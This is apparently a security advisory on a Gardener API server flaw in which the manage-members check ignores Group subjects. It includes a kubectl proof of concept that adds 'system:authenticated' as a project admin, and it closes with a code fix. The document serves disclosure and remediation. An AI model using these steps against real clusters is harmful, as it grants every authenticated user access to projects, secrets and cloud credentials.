## Overview
The `manage-members` custom verb authorization check in the Gardener API server's `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.
## Technical Details
The official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:
<img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />
However, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:
```go
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// ...
return !oldHumanUsers.Equal(newHumanUsers)
}
```
The `isHumanUser()` function at `admission.go` only matches `Kind == "User"`:
```go
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
```
Kind: "Group" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check.
A project admin without manage-members permission can freely add or remove Group members.
## Steps to reproduce
<img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />
---
_Proof of concept:_
1. Verify current project membership and confirm the owner has `manage-members` permission:
```bash
# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
```
2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:
```bash
# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
```
3. Verify `test-admin-user` cannot add a human User member (the check works for Users):
```bash
$ kubectl patch --as=test-admin-user project local --type=merge -p '{
"spec": {
"members": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "
[email protected]",
"role": "viewer"
}
]
}
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
```
4. Bypass the check by adding a Group subject instead:
```bash
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
{
"op": "add",
"path": "/spec/members/-",
"value": {
"kind": "Group",
"apiGroup": "rbac.authorization.k8s.io",
"name": "system:authenticated",
"role": "admin",
"roles": ["admin"]
}
}
]'
project.core.gardener.cloud/local patched
```
5. Verify the Group was added to project members:
```bash
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin
```
6. Demonstrate the impact - any authenticated user now has project access:
```bash
# As a random user
$ kubectl
[email protected] get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m
```
>_Note: `
[email protected]` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._
---
## Security Impact
- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).
## Patching & Remediation
1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:
```go
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
```
To:
```go
func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
if subject.Kind == rbacv1.GroupKind {
return true
}
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
```
